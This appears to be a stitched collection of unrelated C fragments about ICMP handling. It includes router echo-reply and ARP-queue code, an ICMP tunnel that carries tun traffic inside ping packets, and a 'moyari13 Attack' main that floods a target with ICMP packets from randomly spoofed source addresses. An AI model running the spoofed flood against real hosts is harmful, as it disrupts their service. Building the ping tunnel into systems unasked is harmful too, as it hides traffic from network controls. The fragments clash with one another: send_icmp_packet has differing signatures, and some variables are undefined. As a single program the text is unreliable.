static void send_packet(struct connection_data *data, int type, void *payload, int size) { struct itun_packet *packet = malloc(sizeof(struct itun_packet)); bzero(packet, sizeof(struct itun_packet)); packet->header = malloc(sizeof(struct itun_header)); bzero(packet->header, sizeof(struct itun_header)); packet->header->magic = MAGIC_NUMBER; packet->header->connid = data->connid; packet->header->type = type; packet->header->seq = data->last_seq++; packet->header->length = size; packet->connection = data; packet->icmp_type = ICMP_ECHOREPLY; if (payload != NULL) { packet->data = malloc(size * sizeof(char)); memcpy(packet->data, payload, size); } // packets_add(params->packets_send, packet); send_icmp_packet(params->bind_ip, data->client_ip, packet); }
static void* do_request_packets(void *arg) { if (arg) {} pthread_exit(NULL); while (1) { while (1) { struct itun_packet *packet = packets_get_expired_packet(params->packets_send, MAX_PACKET_WAIT_TIME); if (packet == NULL) break; struct connection_data *data = (struct connection_data *) packet->connection; if (data == NULL) continue; if (packet->requests <= MAX_PACKET_REQUESTS) { printf("Resend packet with seq %d fo connection %d\n", packet->header->seq, packet->header->connid); send_icmp_packet(params->bind_ip, data->client_ip, packet); continue; } printf("Reached %d packet with seq %d loss, closing connection %d\n", packet->requests, packet->header->seq, data->connid); free_connection_data(data); } sleep(1); } pthread_exit(NULL); }
int main() { struct icmp_packet packet; char *src_ip; char *dest_ip; int sock_fd; src_ip = "127.0.0.2"; dest_ip = "127.0.0.1"; strcpy(packet.src_addr, src_ip); strcpy(packet.dest_addr, dest_ip); set_reply_type(&packet); packet.payload = "ZZZZZZ"; packet.payload_size = strlen(packet.payload); sock_fd = open_icmp_socket(); send_icmp_packet(sock_fd, &packet); close_icmp_socket(sock_fd); }
/*--------------------------------------------------------------------- * Method: process_ip_packet( struct sr_instance* sr, uint8_t* packet_buffer, unsigned int len, char* interface) * Scope: Global * * function to process the arp packet * *---------------------------------------------------------------------*/ int process_ip_packet( struct sr_instance* sr, uint8_t* packet_buffer, unsigned int len, char* interface) { assert(sr); assert(packet_buffer); assert(interface); // Start of next header: add to packet head unsigned int etherLen = sizeof(sr_ethernet_hdr_t); int ipLen = sizeof(sr_ip_hdr_t); //ip header length int arpLen = sizeof(sr_arp_hdr_t); //arp header length if (len < etherLen + ipLen) { fprintf(stderr, "IP header: insufficient length\n"); return -1; } printf("Processing IP Packet\n"); // DEBUG only print_hdr_ip(packet + etherLen); // Create request IP Packet sr_ip_hdr_t *ip_header = (sr_ip_hdr_t *)(packet_buffer + etherLen); uint16_t req_cksum = ip_header->ip_sum; ip_header->ip_sum = 0; if (cksum(packet_buffer + etherLen, ipLen) != req_cksum) { fprintf(stderr, "Error: IP header - invalid checksum\n"); return -1; } // Check if in router's interfaces struct sr_if* my_interface = sr_find_interface(sr, ip_header->ip_dst); if (my_interface) { //Interface exists etherLen += ipLen; if (ip_header->ip_p == ip_protocol_icmp) { // ICMP if (len < etherLen + sizeof(sr_icmp_hdr_t)) { fprintf(stderr, "Error: ICMP header - insufficient length\n"); return -1; } printf("Processing ICMP Packet\n"); // Create ICMP Packet sr_icmp_hdr_t* req_icmp = (sr_icmp_hdr_t *)(packet_buffer + etherLen); uint16_t req_icmp_cksum = req_icmp->icmp_sum; req_icmp->icmp_sum = 0; if (cksum(packet_buffer + etherLen, len - etherLen) != req_icmp_cksum) { fprintf(stderr, "Error: ICMP header - invalid checksum\n"); return -1; } // Process ICMP message if (req_icmp->icmp_type != 8 || req_icmp->icmp_code != 0) { // Drop packet if not echo request printf("ICMP wasn't type echo. Dropping packet\n"); return -1; } // Set response length equal to request's uint16_t reply_pkt_len = len; //construct icmp echo reply packet uint8_t* reply_buf = (uint8_t *)malloc(reply_pkt_len); // copy icmp data + icmp header memcpy(reply_buf + etherLen, packet_buffer + etherLen,reply_pkt_len - etherLen); // Populate ICMP Message sr_icmp_hdr_t* response_icmp = (sr_icmp_hdr_t *)(reply_buf +etherLen); // Format echo reply response_icmp->icmp_type = 0; response_icmp->icmp_code = 0; // Generate ICMP checksum response_icmp->icmp_sum = 0; //initially 0 response_icmp->icmp_sum = cksum(reply_buf + etherLen,reply_pkt_len - etherLen); // construct icmp echo reply ip header sr_ip_hdr_t* reply_ip_hdr = (sr_ip_hdr_t *)(reply_buf + etherLen); // simply swap src and dst addresses reply_ip_hdr->ip_dst = ip_header->ip_src; reply_ip_hdr->ip_src = ip_header->ip_dst; // Set IP Headers reply_ip_hdr->ip_v = 4; reply_ip_hdr->ip_hl = 5; reply_ip_hdr->ip_tos = 0; reply_ip_hdr->ip_len = htons(reply_pkt_len -etherLen); //header + icmp header reply_ip_hdr->ip_id = htons(0); reply_ip_hdr->ip_off = htons(IP_DF); reply_ip_hdr->ip_ttl = 100; reply_ip_hdr->ip_p = ip_protocol_icmp; // Generate IP checksum reply_ip_hdr->ip_sum = 0; reply_ip_hdr->ip_sum = cksum(reply_buf + etherLen,ipLen); // Modify Ethernet packet sr_ethernet_hdr_t* response_eth = (sr_ethernet_hdr_t *)(reply_buf); response_eth->ether_type = htons(ethertype_ip); printf("Sending ICMP ping reply\n"); if (send_packet_to_ip_addr(sr, reply_buf, reply_pkt_len, reply_ip_hdr->ip_dst, interface) == -1) { fprintf(stderr, "Error sending packet\n"); return -1; } printf("Packet sent (%d)\n", reply_pkt_len); free(reply_buf); } else if (ip_header->ip_p == 6 || ip_header->ip_p == 17) { // TCP or UDP printf("TCP or UDP found. Sending back ICMP type 3, code 3\n"); if (send_icmp_packet( sr, 3, 3, ip_header->ip_src, (uint8_t *)ip_header, interface) == -1) { fprintf(stderr, "Error: Failure sending ICMP message (3,3)\n"); return -1; } } else { // Drop packet if other protocol printf("Protocol not found. Dropping packet\n"); return -1; } } else { // Forward the Packet printf("Forwarding Process Initiated\n"); // Routing Table lookup struct sr_rt* route = sr_find_rt_entry(sr, ip_header->ip_dst); // Make sure there is a next route. if (route == NULL) { printf("Route does not exist. Forwarding terminated\n"); if (send_icmp_packet( sr, 3, 0, ip_header->ip_src, (uint8_t *)ip_header, interface) == -1) { fprintf(stderr, "Error: Failure sending ICMP message (3,0)\n"); return -1; } return -2; } // Decrement the TTL ip_header->ip_ttl--; if (ip_header->ip_ttl == 0) { // Send back ICMP time exceeded printf("Packet TTL expired.\n"); if (send_icmp_packet( sr, 11, 0, ip_header->ip_src, (uint8_t *)ip_header, interface) == -1) { fprintf(stderr, "Error: Failure sending ICMP message (11,0)\n"); return -1; } return 0; } // Update the checksum ip_header->ip_sum = 0; ip_header->ip_sum = cksum((uint8_t*) ip_header, ipLen); // Send the packet to the correct IP if (send_packet_to_ip_addr(sr, packet_buffer, len, route->gw.s_addr, route->interface) != 0) { fprintf(stderr, "Error: Failure from send_packet_to_ip_addr\n"); return -1; } printf("Packet forwarded\n"); } return 0; }
int main( int argc, char *argv[] ) { char tmp_buffer[ 1024 ]; /* tmp_buffer */ int loop, loop2; /* loop counter */ int sock_send; /* socket_fd */ u_long src_addr, dst_addr; /* src/dst addr */ time_t t; /* init_rand_seed(time) */ struct hostent *host; /* hostinfo(hostent) */ struct sockaddr_in addr; /* (sockaddr_in)addr */ /************************/ /* print usage(error) */ /************************/ if( argc != 3 ) { printf( "Usage : %s <dst addr> <count>\n", argv[0] ); exit( -1 ); } /********************/ /* init rand_seed */ /********************/ t = time( 0 ); srand( ( u_int )t ); /********************/ /* Get src_address */ /********************/ gethostname( tmp_buffer, 128 ); host = gethostbyname( tmp_buffer ); if( host == NULL ) { printf( "Can't get this machine's hostname\n" ); exit( -1 ); } memcpy( &src_addr, host->h_addr, 4 ); /********************/ /* Get dst_address */ /********************/ memset( &addr, 0, sizeof( struct sockaddr_in ) ); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr( argv[1] ); if( addr.sin_addr.s_addr == -1 ) { host = gethostbyname( argv[1] ); if( host == NULL ) { printf( "Unknown host %s.\n", argv[1] ); exit( -1 ); } addr.sin_family = host->h_addrtype; memcpy( ( caddr_t )&addr.sin_addr, host->h_addr, host->h_length ); } memcpy( &dst_addr, ( char *)&addr.sin_addr.s_addr, 4 ); /********************/ /* open RAW_socket */ /********************/ if( ( sock_send = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) == -1) { perror( "Getting raw send socket" ); exit( -1 ); } #if 0 /* fake */ src_addr = inet_addr( "89.89.89.89" ); #endif /****************************/ /* - m o - y a - r i - */ /****************************/ printf( "[ moyari13 ( TimeStump request) Attack ]\n\n" ); printf( "sending..." ); for( loop = 0; loop < atoi( argv[2] ); loop++ ) { #if 1 /* spoof( random ) */ src_addr = rand() % 0xffffffff; #endif send_icmp_packet( sock_send, src_addr, dst_addr ); printf( "." ); fflush( stdout ); } printf( "\nDone.\n" ); close( sock_send ); exit( 0 ); }
/** * Function to run the tunnel */ void run_tunnel(char *dest, int server) { struct icmp_packet packet; int tun_fd, sock_fd; fd_set fs; tun_fd = tun_alloc("tun0", IFF_TUN | IFF_NO_PI); printf("[DEBUG] Starting tunnel - Dest: %s, Server: %d\n", dest, server); printf("[DEBUG] Opening ICMP socket\n"); sock_fd = open_icmp_socket(); if (server) { printf("[DEBUG] Binding ICMP socket\n"); bind_icmp_socket(sock_fd); } configure_network(server); while (1) { FD_ZERO(&fs); FD_SET(tun_fd, &fs); FD_SET(sock_fd, &fs); select(tun_fd>sock_fd?tun_fd+1:sock_fd+1, &fs, NULL, NULL, NULL); if (FD_ISSET(tun_fd, &fs)) { printf("[DEBUG] Data needs to be readed from tun device\n"); // Reading data from tun device and sending ICMP packet printf("[DEBUG] Preparing ICMP packet to be sent\n"); // Preparing ICMP packet to be sent memset(&packet, 0, sizeof(struct icmp_packet)); printf("[DEBUG] Destination address: %s\n", dest); strcpy(packet.src_addr, "0.0.0.0"); strcpy(packet.dest_addr, dest); if(server) { set_reply_type(&packet); } else { set_echo_type(&packet); } packet.payload = malloc(MTU); packet.payload_size = tun_read(tun_fd, packet.payload, MTU); if(packet.payload_size == -1) { perror("Error while reading from tun device\n"); exit(EXIT_FAILURE); } printf("[DEBUG] Sending ICMP packet with payload_size: %d, payload: %s\n", packet.payload_size, packet.payload); // Sending ICMP packet send_icmp_packet(sock_fd, &packet); free(packet.payload); } if (FD_ISSET(sock_fd, &fs)) { printf("[DEBUG] Received ICMP packet\n"); // Reading data from remote socket and sending to tun device // Getting ICMP packet memset(&packet, 0, sizeof(struct icmp_packet)); receive_icmp_packet(sock_fd, &packet); printf("[DEBUG] Read ICMP packet with src: %s, dest: %s, payload_size: %d, payload: %s\n", packet.src_addr, packet.dest_addr, packet.payload_size, packet.payload); // Writing out to tun device tun_write(tun_fd, packet.payload, packet.payload_size); printf("[DEBUG] Src address being copied: %s\n", packet.src_addr); strcpy(dest, packet.src_addr); } } }
/* * HELPER function called from arp_thread */ void process_arp_queue(struct sr_instance* sr) { router_state* rs = get_router_state(sr); node* n = get_router_state(sr)->arp_queue; node* next = NULL; time_t now; double diff; while (n) { next = n->next; arp_queue_entry* aqe = (arp_queue_entry*)n->data; /* has it been over a second since the last arp request was sent? */ time(&now); diff = difftime(now, aqe->last_req_time); if (diff > 1) { /* have we sent less than 5 arp requests? */ if (aqe->requests < 5) { /* send another */ time(&(aqe->last_req_time)); ++(aqe->requests); send_arp_request(sr, aqe->next_hop.s_addr, aqe->out_iface_name); } else { /* we have exceeded the max arp requests, return packets to sender */ node* cur_packet_node = aqe->head; node* next_packet_node = NULL; while (cur_packet_node) { /* send icmp for the packet, free it, and its encasing entry */ arp_queue_packet_entry* aqpe = (arp_queue_packet_entry*)cur_packet_node->data; /* only send an icmp error if the packet is not icmp, or if it is, its an echo request or reply * also ensure we don't send an icmp error back to one of our interfaces */ if ((get_ip_hdr(aqpe->packet, aqpe->len)->ip_p != IP_PROTO_ICMP) || (get_icmp_hdr(aqpe->packet, aqpe->len)->icmp_type == ICMP_TYPE_ECHO_REPLY) || (get_icmp_hdr(aqpe->packet, aqpe->len)->icmp_type == ICMP_TYPE_ECHO_REQUEST)) { /* also ensure we don't send an icmp error back to one of our interfaces */ if (!iface_match_ip(rs, get_ip_hdr(aqpe->packet, aqpe->len)->ip_src.s_addr)) { /* Total hack here to increment the TTL since we already decremented it earlier in the pipeline * and the ICMP error should return the original packet. * TODO: Don't decrement the TTL until the packet is ready to be put on the wire * and we have the next hop ARP address, although checking should be done * where it is currently being decremented to minimize effort on a doomed packet */ ip_hdr *ip = get_ip_hdr(aqpe->packet, aqpe->len); if (ip->ip_ttl < 255) { ip->ip_ttl++; /* recalculate checksum */ bzero(&ip->ip_sum, sizeof(uint16_t)); uint16_t checksum = htons(compute_ip_checksum(ip)); ip->ip_sum = checksum; } send_icmp_packet(sr, aqpe->packet, aqpe->len, ICMP_TYPE_DESTINATION_UNREACHABLE, ICMP_CODE_HOST_UNREACHABLE); } } free(aqpe->packet); next_packet_node = cur_packet_node->next; //free(cur_packet_node); /* IS THIS CORRECT TO FREE IT ? */ node_remove(&(aqe->head), cur_packet_node); cur_packet_node = next_packet_node; } /* free the arp queue entry for this destination ip, and patch the list */ node_remove(&(get_router_state(sr)->arp_queue), n); } } n = next; } }